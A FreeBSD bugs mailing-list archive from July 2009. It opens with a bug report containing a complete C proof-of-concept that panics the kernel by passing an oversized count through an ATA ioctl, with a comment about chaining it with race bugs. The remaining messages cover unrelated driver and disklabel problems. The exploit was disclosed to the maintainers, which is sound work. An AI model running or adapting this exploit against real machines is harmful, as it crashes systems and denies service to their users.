freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DK07AM061186 for ; Mon, 13 Jul 2009 20:00:07 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6DK07UI061185; Mon, 13 Jul 2009 20:00:07 GMT (envelope-from gnats) Resent-Date: Mon, 13 Jul 2009 20:00:07 GMT Resent-Message-Id: <200907132000.n6DK07UI061185@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Vincenzo Barranco Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EFDF91065672 for ; Mon, 13 Jul 2009 19:57:06 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id DF3DB8FC0A for ; Mon, 13 Jul 2009 19:57:06 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DJv6F1009344 for ; Mon, 13 Jul 2009 19:57:06 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6DJv69r009343; Mon, 13 Jul 2009 19:57:06 GMT (envelope-from nobody) Message-Id: <200907131957.n6DJv69r009343@www.freebsd.org> Date: Mon, 13 Jul 2009 19:57:06 GMT From: Vincenzo Barranco To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136726: Ata device local denial of service exploit X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 20:00:08 -0000 >Number: 136726 >Category: misc >Synopsis: Ata device local denial of service exploit >Confidential: no >Severity: critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jul 13 20:00:07 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Vincenzo Barranco >Release: 6.0 8.0 >Organization: >Environment: >Description: /* atapanic.c * * Vincenzo Barranco, 13 July 2009 * * this panics the freebsd kernel by passing a large value to malloc(9) in one of * fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the * ata device in /dev to be able to open() the device. chain with some race condition * bug? * * - shaun * */ #include #include #include #include struct ata_ioc_requestz { union { struct { u_int8_t command; u_int8_t feature; u_int64_t lba; u_int16_t count; } ata; struct { char ccb[16]; } atapi; } u; caddr_t data; int count; int flags; int timeout; int error; }; #define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz) int main() { struct ata_ioc_requestz evil; int fd; evil.count = 0xffffffff; fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */ ioctl(fd, IOCATAREQUEST, &evil); /* should never reach here if kernel panics */ return 0; } >How-To-Repeat: Run the program on the top >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 04:20:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6BA90106564A for ; Tue, 14 Jul 2009 04:20:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 2FCDD8FC1A for ; Tue, 14 Jul 2009 04:20:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6E4K2dd050313 for ; Tue, 14 Jul 2009 04:20:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6E4K24U050312; Tue, 14 Jul 2009 04:20:02 GMT (envelope-from gnats) Resent-Date: Tue, 14 Jul 2009 04:20:02 GMT Resent-Message-Id: <200907140420.n6E4K24U050312@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Gea-Suan Lin Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B12F61065678 for ; Tue, 14 Jul 2009 04:13:42 +0000 (UTC) (envelope-from gslin@colo-p.gslin.org) Received: from colo-p.gslin.org (60-199-248-145.static.tfn.net.tw [60.199.248.145]) by mx1.freebsd.org (Postfix) with ESMTP id 83D398FC15 for ; Tue, 14 Jul 2009 04:13:41 +0000 (UTC) (envelope-from gslin@colo-p.gslin.org) Received: by colo-p.gslin.org (Postfix, from userid 1000) id 28CBB7E81B; Tue, 14 Jul 2009 12:13:40 +0800 (CST) Message-Id: <20090714041340.28CBB7E81B@colo-p.gslin.org> Date: Tue, 14 Jul 2009 12:13:40 +0800 (CST) From: Gea-Suan Lin To: FreeBSD-gnats-submit@FreeBSD.org X-Send-Pr-Version: 3.113 Cc: gslin@gslin.org Subject: bin/136733: disklabel handle incorrently X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Gea-Suan Lin List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 04:20:02 -0000 >Number: 136733 >Category: bin >Synopsis: disklabel handle incorrently >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jul 14 04:20:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Gea-Suan Lin >Release: FreeBSD 8.0-BETA1 amd64 >Organization: >Environment: System: FreeBSD webfront-blog-12 8.0-BETA1 FreeBSD 8.0-BETA1 #0: Sat Jul 4 02:38:21 UTC 2009 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 >Description: After installing 8.0-BETA1 and then trying to use disklabel to modify partitions: gslin@webfront-blog-12 [~] (12:09) sudo disklabel -r ad4s1 # /dev/ad4s1: 8 partitions: # size offset fstype [fsize bsize bps/cpg] a: 10485760 4194367 4.2BSD 0 0 0 b: 4194304 63 swap c: 312576642 63 unused 0 0 # "raw" part, don't edit d: 20971520 14680127 4.2BSD 0 0 0 e: 276925058 35651647 4.2BSD 0 0 0 partition c: partition extends past end of unit disklabel: partition c doesn't start at 0! disklabel: An incorrect partition c may cause problems for standard system utilities partition e: partition extends past end of unit Also, I cannot use disklabel -e ad4s1 to modify. >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 05:22:01 2009 Return-Path: Delivered-To: freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A0FF106564A for ; Tue, 14 Jul 2009 05:22:01 +0000 (UTC) (envelope-from yuri.gorchakov@point-group.ru) Received: from mail.point-group.ru (point-group.ru [83.172.40.209]) by mx1.freebsd.org (Postfix) with ESMTP id DD1CC8FC0C for ; Tue, 14 Jul 2009 05:22:00 +0000 (UTC) (envelope-from yuri.gorchakov@point-group.ru) Received: from localhost (point-group.ru [83.172.40.209]) by mail.point-group.ru (Mail System) with ESMTP id 8E0537EA8704; Tue, 14 Jul 2009 12:21:57 +0700 (NOVST) X-Virus-Scanned: Antivirus and antispam scanner at point-group.ru Received: from alienware.local (docsis-79-136-173-96.tomtelnet.ru [79.136.173.96]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: yuri.gorchakov) by mail.point-group.ru (Mail System) with ESMTPSA id BD4EF7EA8700; Tue, 14 Jul 2009 12:21:53 +0700 (NOVST) Message-ID: <4A5C15F1.1070509@point-group.ru> Date: Tue, 14 Jul 2009 12:21:53 +0700 From: Yuri Gorchakov User-Agent: Thunderbird 2.0.0.22 (X11/20090629) MIME-Version: 1.0 To: freebsd-bugs@FreeBSD.org X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Cc: Michael , Gavin Atkinson , Aleksandr Stankevic Subject: kern/135408: [aac] Adaptec 5405 RAID controller hanging under high load +suggested fix X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 05:22:01 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, yesterday I received a reply from a manager I bought the controller from. He was emailing with Adaptec technical support in Russia and suggested couple of things: as a temporary workaround you can setup your BIOS to disable "Host system Memory Mapped I/O above 4GB" , but note that not all BIOSes may support it. Disadvantage of this is that RAM from 3,5 to 4GB will be unavailable most probably. Adaptec is now working on a release of 2.2.8-16891 driver which suppose to fix the issue. They promise to post it on their web site ASAP. - -- С уважением, Sincerely, Юрий Горчаков Yuri Gorchakov техничеÑкий ÑпециалиÑÑ‚ technical specialist ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ñ "iT POiNT" "iT POiNT" company РоÑииÑ, г.ТомÑк 11a Rabochaya st., ул.Ð Ð°Ð±Ð¾Ñ‡Ð°Ñ 11а, 634050 Tomsk, Russia, 634050 Email: yuri.gorchakov@point-group.ru info@point-group.ru WWW: http://point-group.ru **** Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð¸ конфиденциальной информации мне вы можете воÑпользоватьÑÑ ÐºÐ»ÑŽÑ‡Ð¾Ð¼ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ PGP, Ñкачав его http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc To send me confidencial information you may use PGP encryption key from http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc **** -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkpcFfEACgkQj73gq1RwjyhTfQCgha+zTaa84JGPWPwhBIxAGBYC ZQUAnj536C4f43wsDPub4+GxVTu3qOgN =wJNi -----END PGP SIGNATURE----- From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 06:14:54 2009 Return-Path: Delivered-To: freebsd-bugs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 97CCD1065672 for ; Tue, 14 Jul 2009 06:14:54 +0000 (UTC) (envelope-from alexiukas@gmail.com) Received: from mail-ew0-f211.google.com (mail-ew0-f211.google.com [209.85.219.211]) by mx1.freebsd.org (Postfix) with ESMTP id 1A5268FC14 for ; Tue, 14 Jul 2009 06:14:53 +0000 (UTC) (envelope-from alexiukas@gmail.com) Received: by ewy7 with SMTP id 7so699927ewy.43 for ; Mon, 13 Jul 2009 23:14:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:references:message-id:from:to :in-reply-to:content-type:content-transfer-encoding:x-mailer :mime-version:subject:date:cc; bh=gqe4vjrHwK+MXAwMvTvAXtEpoc3rEmCoIQpCHq6WQ9w=; b=cAgphDQguX2n81CvBRfxypdMoHUe3e3AMCKnjNaZFjVK57wXqOS4yQQL3VoamH/GKW 4eCOsWzyNJuHqZ8BhRFxKg6E4K4xw65iZeZ2U3/t3hxtMkpusX4cCf5hL66coNTG2wdF DwT+piqkdZRi2sb1+9LX/yDXGcwIGIG4a3Xuc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=references:message-id:from:to:in-reply-to:content-type :content-transfer-encoding:x-mailer:mime-version:subject:date:cc; b=v6dlwXicSzM+BIBeLG8q77SifCEbOgmZMRx9n/WflGBoNte42cuv+LwuIQH+OCHyXs T53evNlA8FPBUI5BWLKU4b1eD5nYJCzDKGpdX5XbFn46tdRnBEAYLBPKb3SAokG8ccd6 AbDU5ejz5H8b//gD1g+Yav/SD8PkCX81KLuUE= Received: by 10.210.35.10 with SMTP id i10mr7255197ebi.34.1247550350447; Mon, 13 Jul 2009 22:45:50 -0700 (PDT) Received: from ?10.123.9.254? ([62.212.206.167]) by mx.google.com with ESMTPS id 7sm3521471eyb.35.2009.07.13.22.45.48 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 13 Jul 2009 22:45:49 -0700 (PDT) References: <4A5C15F1.1070509@point-group.ru> Message-Id: <17386A8C-D8FE-4E10-98B1-CF5B9A040577@gmail.com> From: Aleksandr Stankevic To: Yuri Gorchakov In-Reply-To: <4A5C15F1.1070509@point-group.ru> Content-Type: text/plain; charset=utf-8; format=flowed; delsp=yes Content-Transfer-Encoding: quoted-printable X-Mailer: iPhone Mail (7A341) Mime-Version: 1.0 (iPhone Mail 7A341) Date: Tue, 14 Jul 2009 08:46:48 +0300 Cc: Michael , "freebsd-bugs@FreeBSD.org" , Gavin Atkinson Subject: Re: kern/135408: [aac] Adaptec 5405 RAID controller hanging under high load +suggested fix X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 06:14:54 -0000 On a 16 gb machine that's nothong near a real solution to me. Loosing =20= 13gb of ram is not what i want. Also, i've tried using (previously i was using raid10) RAID5 on a test =20= box, and have run a lot of stress on it ( buildworld -j16, iozone, =20 bonnie++, backups and etc). It didn't crash on me yet. I'm in process =20= of moving the box to production to see if it won't crash there. But even if it works, raid1/raid10 is what i, and imho most people, =20 use, so we need it fixed anyway. On 2009.07.14, at 08:21, Yuri Gorchakov wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi all, > > yesterday I received a reply from a manager I bought the controller > from. He was emailing with Adaptec technical support in Russia and > suggested couple of things: > as a temporary workaround you can setup your BIOS to disable "Host > system Memory Mapped I/O above 4GB" , but note that not all BIOSes may > support it. Disadvantage of this is that RAM from 3,5 to 4GB will be > unavailable most probably. > Adaptec is now working on a release of 2.2.8-16891 driver which =20 > suppose > to fix the issue. They promise to post it on their web site ASAP. > - -- > =D0=A1 =D1=83=D0=B2=D0=B0=D0=B6=D0=B5=D0=BD=D0=B8=D0=B5=D0=BC, = Sincerely, > =D0=AE=D1=80=D0=B8=D0=B9 =D0=93=D0=BE=D1=80=D1=87=D0=B0=D0=BA=D0=BE=D0=B2= Yuri Gorchakov > =D1=82=D0=B5=D1=85=D0=BD=D0=B8=D1=87=D0=B5=D1=81=D0=BA=D0=B8=D0=B9 = =D1=81=D0=BF=D0=B5=D1=86=D0=B8=D0=B0=D0=BB=D0=B8=D1=81=D1=82 = technical speciali=20 > st > =D0=BA=D0=BE=D0=BC=D0=BF=D0=B0=D0=BD=D0=B8=D1=8F "iT POiNT" "iT = POiNT" company > =D0=A0=D0=BE=D1=81=D0=B8=D0=B8=D1=8F, =D0=B3.=D0=A2=D0=BE=D0=BC=D1=81=D0= =BA 11a Rabochaya st., > =D1=83=D0=BB.=D0=A0=D0=B0=D0=B1=D0=BE=D1=87=D0=B0=D1=8F 11=D0=B0, = 634050 Tomsk, Russia, 634050 > > Email: yuri.gorchakov@point-group.ru > info@point-group.ru > WWW: http://point-group.ru > > **** > =D0=94=D0=BB=D1=8F =D0=BF=D0=B5=D1=80=D0=B5=D0=B4=D0=B0=D1=87=D0=B8 = =D0=BA=D0=BE=D0=BD=D1=84=D0=B8=D0=B4=D0=B5=D0=BD=D1=86=D0=B8=D0=B0=D0=BB=D1= =8C=D0=BD=D0=BE=D0=B9 =20 > =D0=B8=D0=BD=D1=84=D0=BE=D1=80=D0=BC=D0=B0=D1=86=D0=B8=D0=B8 =D0=BC=D0=BD= =D0=B5 > =D0=B2=D1=8B =D0=BC=D0=BE=D0=B6=D0=B5=D1=82=D0=B5 = =D0=B2=D0=BE=D1=81=D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D1= =8C=D1=81=D1=8F =D0=BA=D0=BB=D1=8E=D1=87=D0=BE=D0=BC =20 > =D1=88=D0=B8=D1=84=D1=80=D0=BE=D0=B2=D0=B0=D0=BD=D0=B8=D1=8F PGP, = =D1=81=D0=BA=D0=B0=D1=87=D0=B0=D0=B2 =D0=B5=D0=B3=D0=BE > http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc > > To send me confidencial information you may use PGP encryption key =20 > from > http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc > **** > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v2.0.12 (FreeBSD) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAkpcFfEACgkQj73gq1RwjyhTfQCgha+zTaa84JGPWPwhBIxAGBYC > ZQUAnj536C4f43wsDPub4+GxVTu3qOgN > =3DwJNi > -----END PGP SIGNATURE----- From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 10:40:03 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0E98F1065672 for ; Tue, 14 Jul 2009 10:40:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id DDED58FC1D for ; Tue, 14 Jul 2009 10:40:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EAe2oj089269 for ; Tue, 14 Jul 2009 10:40:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6EAe2SP089268; Tue, 14 Jul 2009 10:40:02 GMT (envelope-from gnats) Resent-Date: Tue, 14 Jul 2009 10:40:02 GMT Resent-Message-Id: <200907141040.n6EAe2SP089268@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Maximillian Dornseif Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4A3A6106566B for ; Tue, 14 Jul 2009 10:31:33 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 386908FC0C for ; Tue, 14 Jul 2009 10:31:33 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EAVXvs065998 for ; Tue, 14 Jul 2009 10:31:33 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6EAVXDd065997; Tue, 14 Jul 2009 10:31:33 GMT (envelope-from nobody) Message-Id: <200907141031.n6EAVXDd065997@www.freebsd.org> Date: Tue, 14 Jul 2009 10:31:33 GMT From: Maximillian Dornseif To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136750: ptrr driver breaks detection of SuperMicro AOC-SAT2-MV8 SATA cards X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 10:40:03 -0000 >Number: 136750 >Category: kern >Synopsis: ptrr driver breaks detection of SuperMicro AOC-SAT2-MV8 SATA cards >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Jul 14 10:40:02 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Maximillian Dornseif >Release: 7.2.-RELEASE-p2 >Organization: HUDORA GmbH >Environment: FreeBSD champ.local.hudora.biz 7.2-RELEASE-p2 FreeBSD 7.2-RELEASE-p2 #0: Wed Jun 24 00:14:35 UTC 2009 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64 >Description: I run a two FreeBSD boxes each with two SuperMicro AOC-SAT2-MV8 SATA controllers providing 8 SATA ports per card. Based on the Marvell Hercules 2 chipset, this is a nice setup for a ZFS fileserver. See http://www.supermicro.com/products/accessories/addon/AoC-SAT2-MV8.cfm for further Information regarding card and chipset. Unfortunately since 6.3 or so, FreeBSD comes with the hptrr binary blob driver from Highpoint. If the hptrr driver is present in the kernel, it breaks detection of the SuperMicro AOC-SAT2-MV8 controllers. (which normally are handled by the ata driver). Since the hptrr driver is present in the GENERIC kernel, it is impossible to install FreeBSD on a machine where all disks reside on the AOC-SAT2-MV8 controlers. Since it is impossible to deactivate the hptrr driver during boot, one needs to build a custom kernel without hptrr compiled in and add hptrr_load="NO" to loader conf to install FreeBSD. Both machined ar NOT equipped with any HighPoint hardware. >How-To-Repeat: Boot a 7.2 install disk on a machine equipped an AOC-SAT2-MV8 card: no AOC-SAT2-MV8 controller detected. Remove hptrr as described above: AOC-SAT2-MV8 controller detected. I observed this issue on to machines: First: CPU: Intel(R) Xeon(R) CPU 3060 @ 2.40GHz (2394.01-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x6f6 Stepping = 6 Features=0xbfebfbff Features2=0xe3bd AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 6428942336 (6131 MB) avail memory = 6211129344 (5923 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs atapci0: port 0x4000-0x40ff mem 0xe0200000-0xe02fffff irq 28 at device 2.0 on pci2 atapci1: port 0x5000-0x50ff mem 0xe0c00000-0xe0cfffff,0xe0800000-0xe0bfffff irq 52 at device 3.0 on pci3 # pciconf -lv .. atapci0@pci0:2:2:0: class=0x010000 card=0x11ab11ab chip=0x608111ab rev=0x09 hdr=0x00 vendor = 'Marvell Semiconductor (Was: Galileo Technology Ltd)' device = 'MV88SX6081 8-port SATA II PCI-X Controller' class = mass storage subclass = SCSI atapci1@pci0:3:3:0: class=0x010000 card=0x11ab11ab chip=0x608111ab rev=0x09 hdr=0x00 vendor = 'Marvell Semiconductor (Was: Galileo Technology Ltd)' device = 'MV88SX6081 8-port SATA II PCI-X Controller' class = mass storage subclass = SCSI .. Second: Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Pentium(R) 4 CPU 3.00GHz (2992.52-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0xf43 Stepping = 3 Features=0xbfebfbff Features2=0x649d AMD Features=0x20100800 Logical CPUs per core: 2 usable memory = 4280774656 (4082 MB) avail memory = 4120674304 (3929 MB) (no Marvell card inside currently but with one the issue happens) >Fix: At least provide an option to disable htprr during boot time. >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 13:11:50 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 57FFD106566B; Tue, 14 Jul 2009 13:11:50 +0000 (UTC) (envelope-from gavin@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id E60788FC12; Tue, 14 Jul 2009 13:11:49 +0000 (UTC) (envelope-from gavin@FreeBSD.org) Received: from freefall.freebsd.org (gavin@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EDBn9s010051; Tue, 14 Jul 2009 13:11:49 GMT (envelope-from gavin@freefall.freebsd.org) Received: (from gavin@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6EDBm3j010047; Tue, 14 Jul 2009 13:11:48 GMT (envelope-from gavin) Date: Tue, 14 Jul 2009 13:11:48 GMT Message-Id: <200907141311.n6EDBm3j010047@freefall.freebsd.org> To: gslin@gslin.org, gavin@FreeBSD.org, freebsd-bugs@FreeBSD.org, gavin@FreeBSD.org From: gavin@FreeBSD.org Cc: Subject: Re: bin/136733: disklabel handle incorrently X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 13:11:50 -0000 Synopsis: disklabel handle incorrently State-Changed-From-To: open->feedback State-Changed-By: gavin State-Changed-When: Tue Jul 14 13:09:28 UTC 2009 State-Changed-Why: To submitter: How did you install your system? Did you do anything special, or did you just use sysinstall? Did you select any special options (like "Dangerously Dedicated" mode)? Did you select the "automatic" partitioning option? Responsible-Changed-From-To: freebsd-bugs->gavin Responsible-Changed-By: gavin Responsible-Changed-When: Tue Jul 14 13:09:28 UTC 2009 Responsible-Changed-Why: Track http://www.freebsd.org/cgi/query-pr.cgi?pr=136733 From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 13:21:19 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C43711065675; Tue, 14 Jul 2009 13:21:19 +0000 (UTC) (envelope-from gavin@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id B39308FC0C; Tue, 14 Jul 2009 13:21:19 +0000 (UTC) (envelope-from gavin@FreeBSD.org) Received: from freefall.freebsd.org (gavin@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6EDLJNO018253; Tue, 14 Jul 2009 13:21:19 GMT (envelope-from gavin@freefall.freebsd.org) Received: (from gavin@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6EDLJQO018249; Tue, 14 Jul 2009 13:21:19 GMT (envelope-from gavin) Date: Tue, 14 Jul 2009 13:21:19 GMT Message-Id: <200907141321.n6EDLJQO018249@freefall.freebsd.org> To: md@hudora.de, gavin@FreeBSD.org, freebsd-bugs@FreeBSD.org, gavin@FreeBSD.org From: gavin@FreeBSD.org Cc: Subject: Re: kern/136750: [hptrr] driver breaks detection of SuperMicro AOC-SAT2-MV8 SATA cards X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jul 2009 13:21:20 -0000 Old Synopsis: ptrr driver breaks detection of SuperMicro AOC-SAT2-MV8 SATA cards New Synopsis: [hptrr] driver breaks detection of SuperMicro AOC-SAT2-MV8 SATA cards State-Changed-From-To: open->feedback State-Changed-By: gavin State-Changed-When: Tue Jul 14 13:11:57 UTC 2009 State-Changed-Why: To submitter: are you able to provide a full dmesg from one of the affected systems, from a standard kernel which includes the hptrr(4) driver? From the same system, could you please provide the output of "pciconf -l" If you need to rebuild your kernel for this, could you please include the patch at http://people.freebsd.org/~gavin/PRs/136750.diff ? Responsible-Changed-From-To: freebsd-bugs->gavin Responsible-Changed-By: gavin Responsible-Changed-When: Tue Jul 14 13:11:57 UTC 2009 Responsible-Changed-Why: Track http://www.freebsd.org/cgi/query-pr.cgi?pr=136750 From owner-freebsd-bugs@FreeBSD.ORG Tue Jul 14 14:49:12 2009 Return-Path: Delivered-To: freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CB7E8106566C; Tue, 14 Jul 2009 14:49:12 +0000 (UTC) (envelope-from gslin@colo-p.gslin.org) Received: from colo-p.gslin.org (60-199-248-145.static.tfn.net.tw [60.199.248.145]) by mx1.freebsd.org (Postfix) with ESMTP id 9ADF98FC1B; Tue, 14 Jul 2009 14:49:12 +0000 (UTC) (envelope-from gslin@colo-p.gslin.org) Received: by colo-p.gslin.org (Postfix, from userid 1000) id 854CA7E81C; Tue, 14 Jul 2009 22:32:29 +0800 (CST) Date: Tue, 14 Jul 2009 22:32:29 +0800 From: Gea-Suan Lin To: gavin@FreeBSD.org Message-ID: <20090714143229.GA1041@gslin.org> References: <200907141311.n6EDBm3j010047@freefall.freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: 